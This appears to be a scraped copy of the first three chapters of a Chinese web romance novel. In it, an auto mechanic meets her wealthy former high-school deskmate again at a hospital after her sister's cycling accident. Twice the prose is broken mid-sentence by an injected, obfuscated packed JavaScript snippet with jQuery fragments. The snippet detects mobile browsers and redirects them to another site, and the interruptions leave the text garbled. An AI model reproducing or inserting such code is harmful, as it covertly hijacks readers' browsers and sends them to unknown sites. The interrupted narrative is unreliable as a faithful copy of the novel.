《你看见星星了吗》 1. 第 1 章 《看山还是山》/杨西几 晋江文学城 2024.7.26 黏腻的夏风吹过墙头杂生的三角梅,灼热潮湿扑面而来,毒辣阳光穿过梧桐,在夏树身上落下斑斑点点的光影。 这不算什么。 比烈日灼身更难捱的,是她身后那道别有用心的目光。 眼前这辆特斯拉轮胎里有静音棉,补胎工序比一般的车子费劲,夏树卸了车胎螺丝,张宙立刻从墙角阴凉处跑过来。 他在离夏树半米的地方停下,殷勤道:“小夏,是要把轮子挪过去吗?我来帮你。” 夏树背对着他,一只手将轮胎拖出来立在地面,另一只手向后摆了摆:“不用不用,张哥你车马上洗好了,可别摸到这个脏轮胎往身上蹭了灰,到时候上了你的车,又把车子弄脏!” 闻言,张宙右脚伸朝前,半蹲着拍了拍脚上的鞋,声音带着餍足的笑意:“小夏,你真贴心,我这鞋刚买的,弄脏了也不太好,我买这个颜色,就为了配你这身灰色工装,你看我站你旁边,咱两这色调,多配!” “……” 夏树噘嘴翻了个白眼,转头向后,先看了眼张宙脚上的灰白AJ,视线上移,他脖子上的大金项链晃得她有些睁不开眼。 她礼貌微笑道:“张哥,你去那边阴凉处待着吧,这里太晒了,我听说有些鞋子暴晒了会掉皮,你这可得小心!” 说完,她滚着车轮往车间走。 “小夏,你真会为我着想,”张宙继续跟过来,语气轻蔑,“没事,这鞋子便宜,我又不差这点钱!” 夏树没说话,拿来工具准备将轮胎从钢圈上拆卸下来。 张宙站在车间外的干净地面上,右手大拇指向后一打:“小夏,我过两天去四川,你要不要跟我一起去玩几天?” 夏树闷头卸着轮胎,语气敷衍:“不用,张哥,你玩开心,我忙得很,哪都没时间去!” “嗐!” 张宙语重心长地叹了口气,拖了个墙角干净的凳子坐下来。 “所以我就说嘛,我们赶紧把婚结了,你把户口迁来我家,我们去试管做个双胞胎,隔壁村拆迁一人一套房,等拆到我们村,加上俩小孩,我们不就有四套房子了,到时候哪还需要你风吹日晒干这个!” 夏树别过头没说话,挤着眉眼,耐着性子把张宙的话左耳进右耳出,尽可能地压着心里的躁意。 “其实我觉得三胞胎四胞胎也行,反正我也养得起,养几个小孩,再加上你,完全没问题!”他一副势在必得的模样,挑着眉,“到时候生了,你在家带娃,让我爹妈来帮忙一起带,他们累了,就换你爹妈来,这样一大家子和和睦睦的,多好!” 听见对方提及自己的父母,夏树脸色瞬间沉下去,她呼出口气,起身:“张哥,你车快洗好了,要不你去检查看看哪里还有没洗干净的地方!” 张宙宽宏大度地挥挥手:“没事儿,反正也是你的人,他们弄不干净点我也不怪他们!” “……” 夏树敢说,她遇到的最难沟通的人,张宙排第一,没人能排第二! “哎,你怎么岔开话题了,害羞呀?真是淘气!”张宙继续说,“而且你看,要是咱两成了,到时候我跟我姑妈说说,你这厂子的房租,减个一半肯定没问题!” “……” 夏树没招了,摸了摸口袋,想发个信息让三个徒弟过来把张宙支开,却发现手机没带。 这时,徒弟保钦元从洗车房朝她小跑过来。 保钦元扬着手机,示意她接电话,神色焦灼:“老大,林林出事了。” “我妹?夏林?” 听见夏林出事,夏树连忙抓了条毛巾擦了擦手上的污渍,拿过保钦元的手机,走到一旁接了起来。 夏林在电话里声音颤抖,带着哭腔说她在市里骑共享车撞了个人,他们现在正在去往医院的路上,对方一男一女两个人,看上去是非富即贵的人,她从没遇过这种事,不知如何处理,想让夏树去医院一趟。 夏树:“行行行,你别着急,我马上出发,待会儿我先转两千给你,你带伤者去拍个片子,如果情况不对就先报警,让警察来处理。” 挂了电话,夏树朝张宙丢下一句“有事不能招待了”就没再搭理他。 保钦元今天原本计划去市里跟女朋友约会,夏树便叫着他一起出发。 坐上破旧捷达,保钦元揶揄道:“老大,房东阿姨他侄子看来是真喜欢你啊,这左一趟右一趟,不厌其烦地来!” 车厢内直逼40摄氏度,拖着疲累的身体坐在里面,眼波不停晃动。 路边梧桐树上敷衍的蝉鸣声不绝于耳,将烦躁推到了顶点。 夏树眉头紧皱,鄙夷地冷哼一声:“还真喜欢!你是没听他说让我给他生四胞胎,等着这边拆迁了,一个户口给他分一套房!要不是看在房东张阿姨份上,我话都不会跟他说!” 张宙隔三差五就要往汽修厂跑,夏树明确拒绝过他,不知道他是装听不懂,还是真傻,根本不把夏树的话当一回事。 他之前非法大保健被抓的事,弄得附近的村民人尽皆知,没人敢跟他结婚。 他嘴上说着喜欢夏树,其实是想赶紧娶个生育机器回家,在这一片拆迁之前生出几套房来。 一边是为人和善的房东阿姨,一边是厚皮老脸的张宙,碍于房东阿姨的面子,夏树不得不耐着性子应付这尊大佛,只是不知道什么时候才是个头。 “行了行了,别说这个人了,烦!”夏树说。 她和保钦元从城郊出发,在绕城高速跑了半个多小时,又在市区绕了十多分钟,才到了医院。 在医院门口,夏树想让保钦元直接走,但保钦元说他怕别人刁难,想一起去撑撑场面,夏树便先下了车,让保钦元去停车。 市区密集的车流和嘈杂的引擎声带来强烈的压迫感,夏树总感觉这里比城郊要热上几分。 去往骨科大楼的路上,她把灰色工装外套脱了下来系在腰间,身上只穿着黑色工字背心,温热的风轻拂皮肤,勉强带来点不痛不痒的凉意。 门诊大厅人头攒动,夏树想去服务台询问VIP专家诊室的位置,却不想还离着几米,服务台前的一个男人瞬间将她的视线抢去。 男人带着网球帽,身上穿着纯白色运动套装,双臂自如地搭着台面,他比医院大厅的人几乎都高出一个头,挺拔的身量,站在那里格外显眼。 网球帽帽檐遮住了他的前额,却将那双深邃的眼眸衬得更为神秘,隐隐透出冷冽的少年感。 也就在那一瞬间,夏树把易年认了出来。 他的这张侧脸,她再熟悉不过。 但他怎么会在这里? 夏树在原地怔楞片刻。 回过神,她倒抽了口气,打消了上前询问的念头,立马转身往另一边走。 她照着地上的路标往骨科VIP诊区走着,转过拐角,一眼就在乌泱泱的人群里看见了提着X光袋子和一个精致网球包的夏林。 夏林旁边站着一个陪诊护士和穿着运动装的女人,那女人戴着网球帽,姿态端庄气质卓群,还抬着一只手,应该就是被撞的那个人。 “林林!”夏树拉进与几人的距离,略带焦灼地喊。 夏林回过头,像看到救星一般,欣喜道:“姐,你来了啊!” 旁边的女人也将目光投向夏树。 夏树走过去的途中脸上怀愧,向女人弓腰微笑,怕对方不喜自己工装上的星星点点污渍,她只站到了夏林旁边,并未与那女人挨得太近。 “您好,我叫夏树,夏林的姐姐,实在是抱歉,我妹她伤到您哪里没有?” “没事没事,就是手指有点小伤,不碍事的。” 女人脸上挂着和善的笑意,稀松地扬了下右手。 显然没有刁难的意思,夏树吊着的心总算落到了实处。 易雯溪说是她顾着捡东西自己跑到路中间,害得夏林摔了车,得知夏林是体育生,还生怕夏林因此受伤而自责。 正因为是体育生的缘故,夏林对伤特别敏感,即便对方没有责备她,她脸上也难掩愧疚和局促。 她目光朝下,对夏树说:“这个姐姐的手指都被我撞骨裂了!” 夏树神色一紧,顿然看向易雯溪的右手:“骨裂?这么严重!” 易雯溪反倒从容自若,安慰起了姐妹俩:“真没事,不是妹妹的错,待会儿处理一下,养几天就好了。” 要说幸运也不大合适,但确实好在夏林撞到的是这么通情达理的姐姐。 方才在医院门口才和保钦元说道怕被刁难,此刻夏树顿感自残形愧:“真的很抱歉,那您把缴费单给我,我去缴费!” “不用了,”易雯溪抬着受伤的右手摆了摆,“我是这家医院VIP,费用什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717326|144793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的会自动扣的,我弟弟已经去帮我弄了。” “这怎么行,我去吧,钱还是得由我们来出。”说着,她转向夏林,语气带点责备,“你也真是,怎么能让他们自己出钱。” 夏林拘束着抿了下唇:“我说了我给,姐姐不让。” 易雯溪:“真的不用,本来也是我自己的问题,你们不必自责,反而是妹妹,我建议她也去检查一下有没有受伤,她非不去,你是她姐,你跟她说说。” 夏树了解自己的妹妹,皮划艇省赛在即,她如果受伤绝对不会硬撑。 “您没事就行,不用管她,她心里有数。”夏树说。 就在这时,大厅取药广播响了起来——“请易雯溪到九号窗口取药。” 夏林立刻向易雯溪确认:“姐姐,刚刚喊的是你名字吧,我去帮你拿药!” “对,麻烦你了。” 说着,夏林就要把手上的东西递给夏树,夏树说让她们在这等着就行,只从夏林手上接过就诊卡,便走向了取药窗口。 她把就诊卡递到窗口内,这才瞟见女人的姓氏,“易”。 姓易? 夏树心脏莫名加速跳动。 这个姓氏并不常见,而且易雯溪与易年同样穿着运动装,她说的弟弟,莫非就是,易年?! 夏树有些慌措。 七年前两人最后一次见面,可一点都不体面,如果待会儿凑到一起,该以何种姿态去面对他。 但是想想都过了七年,他可能不记得她了,即便还记得,应该也不会还揪着那档子陈旧破事不放。 取完药回头,不出所料的,夏树撞进一道视线之中。 易年站到了易雯溪身侧,把刚刚提在夏林手里的网球包背在了肩上,单手插兜,姿态松弛自如。 他淡漠地与夏树对视着,帽檐下幽深的眸底还翻涌着令人辨不分明的意味。 碰巧一个不知是病患还是家属的急切青年碰到了夏树的手肘,“啪”的一声,其中一个药盒从她手中掉落。 表情滞了两秒。 她俯下身去捡药盒,顺便搓了搓僵住的脸,起身后,她呼了口气,垂着眼,硬着头皮朝三人走过去。 “你叫夏树对吧,介绍一下,这是我堂弟易年,今天本来是跟他约了打网球,结果还没去到网球馆,就把自己弄成了病号……” 易雯溪十分自来熟,滔滔汩汩地介绍着易年和她过去半天的行程。 出于礼貌,夏树牵强地勾着唇,稍抬眼睑,再次与易年对视。 他的眉眼生的极为好看,此刻却毫无笑意。 还未等夏树开口寒暄,易年就慢悠悠地把目光挪开。 他的胸膛起伏着,滚动了一下喉结。 “愣着干嘛!打招呼啊!”易雯溪拽了拽易年的衣服下摆。 夏树在心里数着,一秒、两秒、三秒…… “你好。” 易年终于又将视线移到她脸上。 他的语气很浅,甚至可以说是毫无波澜。 他这一声“你好”,是什么意思。 到底是没认出她来,还是认出来了,她也拿不准。 这个情景之下,似乎所有人都在等着她的回应。 她迅速琢磨了一个不失分寸的开场白。 “你好,我是夏林的姐姐,我妹给你们带来麻烦了,实在是抱歉。” 夏树语调平平,尾音才落下,就听见易年轻轻哼笑一声。 仅过一秒,他又将嘴角的浅笑沉下去。 “白眼狼。”他说。 喧噪的医院大厅,易年低沉冷冽的声音却显得尤为清晰明朗。 夏树没有想到他会是这个反应,但单从“白眼狼”三个字,她笃定易年是记得她的。 她隐约回忆起来,七年前,易年跟她说的最后一句话,就是“白眼狼”。 那时他说这话,倒还情有可原。 即便中间有误会,夏树当年也是确确实实坏了他的事。 不止如此。 还,狠狠咬了他一口。 那时他被咬了一口,连眼皮都不曾抬一下,按理说,不至于过了七年,他还会介怀此事。 但现在,夏树没招他没惹他,他又叫她白眼狼,相当于把陈年旧事翻出来揶揄她。 轻咳一声,夏树礼貌抬唇,锋利的目光对着他寒潭般的眼:“您真幽默,这话说的,别具一格。” 2. 第 2 章 “你小子说什么浑话呢,别这么没礼貌!” 易雯溪突然抬起左手,一记闷掌打在易年后背。 易年没说话,甚至对后背挨的那一掌也未做出回应。 只是淡淡地注视着夏树的脸。 夏树被看得有点不自在,将头别到一边。 半晌后,易年终于再次开口。 “我,也没说错吧。” 从语气到神态,平静无澜。 气氛却近乎威压。 周遭的空气渐渐凝结。 “哎哎哎,你怎么还来劲了。”易雯溪一步跨到易年前面,朝夏树挤出一丝尴尬的笑意,“别理他,小混蛋今天不知道抽的什么疯,他平时可不是这样的。” 夏树干笑着附和:“没事儿,姐姐,我不会放在心上的。” “什么叫你不会放在心上?” 易年再次哼笑出声,偏头看她。 “同桌三年,在我印象里,我对你也不赖吧,现在就不记得我,不是白眼狼是什么?” 夏树:“……” 她现在觉得,易年,就是故意的。 他肯定一开始就认出她来了,还只说了句让人摸不着边的“你好”。 后来又故意说她是白眼狼。 不过。 “你说的白眼狼是这个意思?” 易年眉眼稍抬:“不然呢?” ……好吧,至少不是小心眼还记仇。 两人说话的间隙,易雯溪渐渐挪到了一边,听出来龙去脉,她脸上的尴尬之色一扫而空。 “这么巧啊,你俩是同学,而且还是同桌!是小学,初中,还是高中啊?” 易雯溪的反应,简直比两个当事人要强烈上好几倍。 “高中。” 易年悠然答道。 易雯溪自然地将手搭在夏树手臂上:“那真的太有缘了,待会儿弄完了大家可以一起去吃个饭!” “这就不……”夏树话还没讲完,就被易年打断。 “行了,走吧!”他从夏树手上把药接了过去,对易雯溪说。 易雯溪似乎对易年的反应不大满意:“你怎么回事儿,我请你同学和小妹妹吃个饭,又不要你掏钱!” “我是说,先去把你的手处理好,”易年瞥向夏树,神色淡淡,“没说不请她们吃饭。” 夏树嘴唇一开一合,想拒绝,但看着易雯溪实在是热情,万一开了口,估计她又要热心相邀,别又耽误包扎。 陪诊护士带着他们来到治疗室,医生只让一个家属进去陪同,易年陪易雯溪进去,夏树和夏林便守在门外。 片刻后。 治疗室传出一声女人的惨叫。 夏林立刻跑去扒在门边观察里面的情况。 没多久,易年从治疗室走了出来。 夏林被他冰冷的气息压迫得不太敢与他相对,立刻闪到一边让了路。 “你怎么出来了,你姐姐还好吗?”夏树声音懒洋洋的。 易年朝治疗室瞥了一眼:“被弄哭了,她嫌丢人,把我赶出来了。” 说话间,又是一声惨叫从治疗室传出来。 易年的眼睛往声源处觅去,微挤的眉眼溢出隐隐约约的焦灼。 “要不,”易年低头看向夏树,“你们两个谁进去陪她一下,女生在应该比我在效果要好。” “行,那我进去。” 夏树刚抽身往治疗室走,夏林就抢先一步走上前。 “还是我去吧,我把姐姐撞伤的,而且我是练体育的,受伤什么的见得多,知道怎么安抚伤员。” - 易年在治疗室外的金属候诊椅坐下,夏树不太想靠近他,便只站在了治疗室门口。 这条过道很安静,不像门诊大厅一样喧杂。 除了治疗室里时不时传出医生说“别动”,几乎听不到其他声音。 可能是太过安静的原因,夏树觉得自己的呼吸声越来越重。 她不经意朝易年瞟了一眼。 易年正巧将网球帽摘下,乌黑蓬松的碎发随意散在额前。 他的五官硬朗,眉弓很立体,眼睫如鸦羽根根分明,睫毛拢着的那对瞳仁像是一洼寒潭,深不见底。 在她的记忆里,十七八岁的易年就长这个样子。 怎么到了二十五岁,无论从神态还是样貌,几乎没有任何变化。 想到这里,夏树用大拇指指腹刮了下自己掌心粗粝的茧。 得出一个结论。 易年,锦衣玉食,从小在蜜罐子里长大,该是没有任何烦恼或者挫折吧,人生必定顺风顺水。 所以,二十五岁仍旧一身少年感,也不足为奇。 手机铃声在这时响了起来。 保钦元终于停好车,打电话过来问夏树所在的位置,夏树说等她编个信息发过去。 挂断电话,听见易年清了清嗓。 她没太在意,继续编辑信息。 易年突然叫了她一声。 “白眼狼!” 语气散漫,似乎还带着几分嘲弄。 “站着不累吗?” 因为当年的事,夏树并不喜欢这个莫名其妙的称呼。 “请问,”她毫不客气地瞪他一眼,“我没名字吗?” “哦?差点忘了,你叫,夏、树。” 夏树:“……” 他抬下巴指了指候诊椅:“这有椅子,你站那干嘛?”他的视线偏移到夏树的肩膀,“怕坐我旁边我也咬你一口?” 当年夏树咬的就是他的肩膀。 所以,刚刚说他不记仇还真是说早了! 夏树并不觉得累,平时修车站得可不少。 但易年这话里话外像是在挑衅一般,笃定她不敢过去坐。 可偏偏她不愿被人拿捏,于是编辑完信息,便走向候诊椅,在与易年隔着两个空座位的地方坐了下来。 金属座椅没有温度,夏树后背露在外面的皮肤碰上去的一瞬间,打了个激灵。 她本能地坐直后背,双手环抱着够到背上,搓了搓被座椅刺激到的皮肤。 “冷的话就把衣服穿上。” 易年视线落在夏树系在腰间的工装外套上,语气浅淡。 夏树微微侧过头,用同样浅淡的语气答:“不冷。” 又是一阵沉默。 时间走得很慢。 明明才过了几分钟,却像是度日如年。 她真希望易雯溪快点包扎好,或者是保钦元赶紧来,早点打破这要死不活的气氛。 “你……真不记得我了?”他轻咳一声,突然说。 她的视线随意散落:“记得,怎么会不记得,你可是我的财神爷!” 夏树并不想怼他,易年原来确实也是她的活财神。 但才说完这一句,她就感觉自己的语气不太友好。 这也怪不得她,平日里都跟大老爷们儿打交道,早就沾染了一身男人的粗莽。 “那刚刚在大厅,我说你是白眼狼你也没反应。” 易年的语气听上去一如既往的平淡。 夏树笑了:“你想让我有什么反应?哪有人一上来就叫别人白眼狼的?我当时不搭理你,是不想当着你姐的面骂你!”这是事实。 “七年没见,”他轻扬起眉眼,浅勾着一边唇角,“你怎么变得这么刺头,惹都不敢惹!” 语气不似先前争锋相对,更像是老友调侃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717327|144793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他这话一出,过道里的气氛似乎缓和了许多。 “都叫我白眼狼了,还说不敢惹?”夏树眉眼尾稍抬,不甘落后,“话说回来,现在知道我的德性了,劝你今后别轻易惹我。” 两人对视的那一瞬间,空间似乎拉回到了从前。 她曾把他当成重要的朋友。 除了最后见面那次的不愉快,少时的夏树和易年,也算相得无间。 下一秒,四目相对,两人同时扬了嘴角。 嗯。 这好像才是老同学久别重逢的正确打开方式,轻松、舒坦。 “好久不见,老同学。”夏树扬起右手在空中摆了摆,认真跟他打了招呼。 易年的目光被晃动的手吸引,浮出些许暗色。 视线在夏树的掌心定格两秒。 “好久,不见。”他说。 夏树的第一反应是,易年看见她手心的茧了。 虽然她毫不介意自己的茧,但是易年肯定接触不到手上有茧的人。 就这样把手摊开在他的面前,再加上他暗沉的眸色—— 那种感觉,就像是自己在卖惨一样。 她立即将手缩了回来,半握成拳,平稳地放在双腿上。 他的视线追随着她的手,夏树觉得有些别扭,收敛视线低下头,突然看见裤子外侧沾了些黑色机油,因为是在侧边,她先前并未注意。 易年就坐在沾着机油的那一侧,她抿了抿唇,将腰间的外套扯过去盖在那一点机油上。 “对了,听说你一直在国外,什么时候回来的?” “没多久。” 夏树点了点头,不知道应该再说点什么。 “你呢?”易年轻咳一声,“这几年都挺好的吧。” “我啊,”夏树手指搓着衣角,“现在弄了个汽修厂,就修修车洗洗车什么的。” 易年眉头轻蹙,未置一词。 夏树又补充:“对了,你应该不知道,高中毕业我就学汽修去了。” 易年还是静默无语。 金属座椅的这一头是社会最底层的汽修工,另一头是上流社会的公子哥。这样差异分明的两个人放在一起,好像确实没有什么共同话题。 非要硬聊的话,聊修车?聊洗车? 那还不如不聊。 “老同学,”易年悠然叫她,“待会儿没事的话,跟我姐一起吃个饭。” 夏树努了努嘴,没立刻回话。 “算了吧,你姐姐都骨裂了,应该让她回去好好休息,等她好了,我请。” “她?”易年脸上挂着浅淡的无奈,“她要是会老老实实待在家,她就不姓易了。” “……” 夏树未置可否。 主要是他这话说的,实在让人不好反驳。 易年垂下眼帘,看不清神色。 他的手指搭在空的座椅上交替敲击,咔咔作响。 “不想去就算了,我也不勉强你,待会儿你自己跟她说。” 虽然易年松了口,但他这语气像是带着胁迫。 夏树牵强地挤了挤嘴角。 她倒也不是不愿意跟易年和易雯溪吃饭。 只是一方面易雯溪确实需要好好休息,另一方面,她和保钦元都出来了,厂里只剩下两个徒弟,还有一堆事没做完,怕他们忙不过来。 “待会儿再说吧。” 夏树话音刚落,保钦元出现在了过道转角处。 她的视线略过易年的头顶,小声朝那边喊:“小保!” 尾音刚落,易年手上的动作顿住。 他快速滚动了下喉结,抬眼看向夏树,点漆的双眸闪过一丝慌促。 “小宝?” 3. 第 3 章 “这破医院生意也太好了,半天都找不到车位。” 保钦元怨声载道朝夏树走过来。 他的工装纽扣扣开了一半,一只手扯了扯衣领,另一手提溜着车钥匙。 “声音小点,这是医院。”夏树挤着眉头提醒他。 他从易年面前经过,径直走到夏树面前:“怎么样了?林林呢?” “陪着伤者在里面包扎呢。”夏树眼睛指向治疗室。 “被撞的是什么人啊?人家咋说,有没有为难你们,会不会讹钱?” “……” 保钦元才说完这话,夏树就赶紧给他使了个眼色,示意他闭嘴。 “别瞎说,那个姐姐通情达理得很,”她瞄了易年一眼,“她,和家属,都没有为难的意思。” 保钦元跟了夏树好几年,老大一个眼神他就知道其中意味。 他立马难为情地朝易年挠了挠后脑:“哎哟,小兄弟,你看我这张嘴,也没个把门,大老粗一个,急傻了,你别介意啊。” 易年没说话,清寒的眸子泛冷,神色淡淡,不像介怀。 只是自上而下,打量着保钦元的,衣服? 几秒后,又将视线落在夏树的腰间,像是也在琢磨着她的穿着。 夏树被盯得心里发毛。 站了起来。 保钦元冲易年咧了咧嘴,然后凑到治疗室门上的玻璃窗口往里看了一眼,问夏树:“这还得弄多久啊?” “不知道,你给我打电话时候才开始的,”听出保钦元语气带着点催促,她问道,“你跟晓齐约的几点?” “六点,”保钦元有些忸怩,“但是刚刚她发信息跟我说已经提前下班了。” 夏树思索片刻:“反正这也没什么事了,要不你就先走,别让人等着急了。” 保钦元就等着夏树这句话了。 他脸上立刻堆笑:“行,那我跟林林打个招呼就走。” 说完,保钦元轻轻推开治疗室的门,小声将夏林从里面叫了出来。 “钦元哥,你怎么也来了?”夏林问。 “跟你姐一起来的,刚刚停车去了,”保钦元说,“你不是过几天有比赛嘛,我特地来跟你说声加油,好好比,争取拿冠军!” “谢谢钦元哥!” “行,那你进去吧,我还有事,就先走了,你改天休息的时候回来家里,我跟你姐给你做好吃的。” 保钦元话才说完,原本拿在易年手里的网球帽就掉落在了地上。 他似乎有些愣神,没捡。 保钦元见状走过去捡起帽子,递到他面前,顺便说:“小兄弟,那我就先走了啊。” 易年并未抬头,两秒后才接过帽子。 保钦元往前走了两步,夏树叫住了他:“对了,小保,你今晚还回来吗?” 保钦元脸颊有些泛红:“应该,不回了,不用给我留门。” 夏树了然,点了点头:“行,那你开车注意安全。” 保钦元朝她笑笑:“遵命,老大!” - 夏树又坐回了先前那个位置。 无意瞥向易年。 易年耷拉着脑袋,重新将网球帽戴了起来,双手松松搭在一起。 虽看不见他的表情,但他周身似乎弥漫起一阵能令人窒息的极寒气场。 莫非是因为保钦元说会不会讹钱那一句生气了? “那个……” 夏树坐直后背,双手放在双膝上捏了两下,轻咳一声,开口试探,“刚刚他说的话,你别放在心上。” 易年缓缓侧过头来,眼底有些发红。 不像是生气,倒像是,失落? 应该是夏树的错觉。 “什么话?” “就是,讹钱,什么的。” 半晌。 直到有其他病患从两人旁边走过,他才说:“我不是那种人。” 语气没有分毫温度。 那股傲然的劲儿又出来了。 他从前就是这样,任何事都不放在眼里。 永远与世无争,永远平静如水。 深藏若虚,但只要站在那里,就是满身光芒。 两人没再说话。 看着易年戴帽子的模样,夏树恍了神。 莫名想起十年前,她第一次见到他的那个夏天—— 正午时分,太阳高悬,热浪在田间翻滚。 与禾庄村相接的那条县道,因为修路,车子堵得不能动弹。 那几年猪肉价格上涨,农村里很多农户都搭棚养起了猪,夏树的父母也不例外。 那天拉饲料的货车因堵车没法进村,父亲便使唤夏树去帮忙卸饲料。 夏树一袋一袋从货车上将饲料卸下来,再由父亲骑着三轮摩托车一趟趟拉回去。 两吨饲料,听起来有点吓人,其实也才四十袋。第一趟是父亲和她一起搬,只剩下不到三十袋由她独自卸。 夏树从小就干过不少体力活,区区几十袋饲料根本不在话下。 耐不住炎炎夏日的高温暴晒,卸下最后一袋饲料,她的双眼被汗水渗入,刺痛难忍,嘴角也挂着微咸的汗粒。 离她不远的县道边,有一条小溪,她眯松着一只眼,走到溪边洗了把脸。 溪水很凉,水柱顺着下颌,经过脖颈,流进了衣服里,胸前被溪水浸湿了一大片,反倒凉快不少。 起身后,她撑开T恤肩膀的布料擦了把脸。 抬眼时,一个坐在豪车后座的少年,意外撞进了她视线。 车子停在对面的县道上,与她仅仅隔着一条小溪。 车轮上有一个大写字母B,她看电视剧的时候见过,知道那样的车很贵。 车里的少年戴着一顶纯白色鸭舌帽,帽檐压到前额。 黑色的车身,把那一抹白色衬得格外亮眼。 随着眼周水汽蒸腾,视线慢慢聚焦,她才发现少年也正看着她。 他的眼睛很好看,清冷隽秀,让人挪不开眼。 他身上浑然天成的贵气加上丰神俊朗的样貌,完美得像一件价重连城的展品。 像是电视剧照进了现实,夏树在原地怔楞了须臾。 忽地。 一阵风吹过来。 夹杂着植物纯粹的清香,甘甜、舒畅。 似乎,还带走了她身上的几分暑热。 少年向上扬了些帽檐,没有挪开视线。 不知过了多久,直到父亲从身后叫她,她才匆匆转身,坐上父亲的三轮摩托回家。 回去的路上,少年的那张脸一遍又一遍在她的脑海里重播。 看上去两人年纪相仿。 一个坐在豪车后座,有专门的司机为他开车。一个却坐在三轮摩托车的后兜里,身下压着一车饲料。 那一条小溪并不宽。 但夏树从那时候就知道,她和他的距离不仅仅只是那一条小溪。 ——“快快快!易年,给我拍张照!” 易雯溪的声音把夏树的思绪拉回现实,夏树闻声站了起来,朝她看去。 易雯溪右手的食指和中指已经被指托固定住,悬在半空,像是在比“耶”,看上去挺有喜感。 易年抬头看着她。 “神经!” 易雯溪走过去,扯着他的手臂把他拽了起来。 “快点,别磨蹭,拍照留个念,多酷啊。” 易年有些不耐烦,却还是老老实实掏出手机,帮易雯溪拍了照片,又将拍好的照片亮在她眼前。 易雯溪凑近看了一眼:“可以,拍的不错。”又挽上夏林的手臂,“帮我和妹妹也拍一张。” 夏林先是一愣,紧接着不太自然地看向了镜头。 双人合照拍完,易雯溪向夏树招了招手:“夏树你也来,咱们四个一起拍!” 其实从夏树见到易雯溪开始,她就挺喜欢这个姐姐。 漂亮大方,热情又不拘小节。 但怕自己身上的机油沾染到对方名贵的衣服上,夏树并不想跟易雯溪合照。 她刚要开口拒绝,就听见易年说:“别闹了,我不拍!” “嗯?你确定?”易雯溪语气带着威胁,“不配合,那我就给李若尔回信咯,她刚刚发信息问我在哪来着,我还没回呢。” 李若尔,这个名字有点耳熟。 但夏树在脑海里快速过了一遍,实在没想起来这人是谁。 易年冷叹一口气,语气捎带不满:“易雯溪,你适可而止!” 易雯溪朝他得意地吐了吐舌。 他戳了一下手机,应该是在翻转摄像头,然后脱下网球帽,对夏树说:“来吧。” 夏树摆着双手:“不了不了,我就不拍了!” “那哪行!” 说话间,易雯溪挽着夏林一起来到夏树面前,拉住了夏树的胳膊。 她向易年偏了偏头,“愣着干嘛,过来啊!” 由不得夏树再继续拒绝,易年就站到她旁边,抬着手机迅速按了几下快门。 - 当易雯溪再一次提出吃饭时,夏树没有拒绝。 她想着也就一顿饭的功夫,应该耽误不了多长时间,大不了晚上回去加个班。 最主要是,易雯溪的医药费没让她和夏林出过一分,请人家吃顿饭也是理所应当。 易年开着易雯溪的车,带着她们去到一个私人会所,新中式的装潢,整体格调比夏树来之前想象的要高出很多。 从一进门开始,不断有服务员叫易年和易雯溪“易总”,想来他们应该是这里的常客。 他们去到一个景观落地玻璃包间,四人方桌,易年和易雯溪坐在一边,夏树和夏林坐在他们对面。 服务员留下四本菜单,易雯溪让夏树和夏林点菜,夏树坦诚说她们很少在外面餐厅吃饭,不会点菜,吃什么都行,未打开菜单。 易雯溪说她也没什么想吃的,于是点菜的活就落在了易年身上。 “忌口,还和原来一样吗?”易年突然问。 听到“原来”两个字,夏树下意识抬头看向易年。他正垂眸轻翻着菜单,看不见神色。 “你什么时候关心过我的忌口了?”易雯溪难以置信地看着易年。 易年缓缓抬眼,先看向易雯溪,又将视线逐渐转移到夏树身上。 “我说的是她。” “嗯?” 易雯溪瞬间来了兴趣,露出一脸探究的表情,八卦地朝着易年挑了下眉,“你还知道你同学的忌口啊?” 易姐姐显然是想歪了。 夏树立马看向另外一位当事人。 易年脸上没有任何表情,继续翻着菜单,对易雯溪提出的问题似乎毫无在意。 他这冷淡的反应倒是在易雯溪意料之中,她觉得无趣,便将视线慢慢梭到了夏树身上。 夏树被看得有点不自在,一时慌乱,顺嘴答了易年的问题:“啊,对,忌口,一样。” 或是感受到了易雯溪的异样目光,易年重新抬头,扬着下巴指向夏树,解释:“原来她脚瘸了,作为同桌的我,给她打过半个月饭。” 夏树:“……” 嘴真欠,明明,只是脚崴了而已! 虽然他用的是“瘸”字,但感觉,他的语气像在邀功请赏。 不过无论如何,易年这句话总归是堵住了易雯溪的胡思乱想。 菜品陆续上桌,看着如此精致的摆盘,夏树第一反应竟然是这得补好几辆车的车漆,或者大修一个发动机,才吃得下来一顿饭。 吃饭期间,易雯溪举着两根手指,一直让易年帮她盛菜。 起初易年言听计从,但易雯溪对吃食特别挑剔,盛的数量多了或少了,她都要埋怨易年两句。 倒像是在故意逗他。 最后易年实在没了耐性,把筷子塞到了易雯溪左手上:“大小姐,您自己来吧,我没本事伺候。” 夏林心思简单,没看出姐弟两之间的互掐,见易年那样的反应,她小心询问:“哥哥,要不然我跟你换个座,我来帮姐姐盛,毕竟是我把她弄伤的。” 易雯溪:“不用不用,让他来就行。” 易年先是稀松地暼了夏树一眼,又看向夏林:“好啊!” 夏林换到易雯溪旁边,易雯溪老实多了。 而易年坐在夏树旁边,那种感觉很新奇。 当年同桌而坐的两人,像是从那时起,就一起越过了时间,来到彼此的二十五岁。 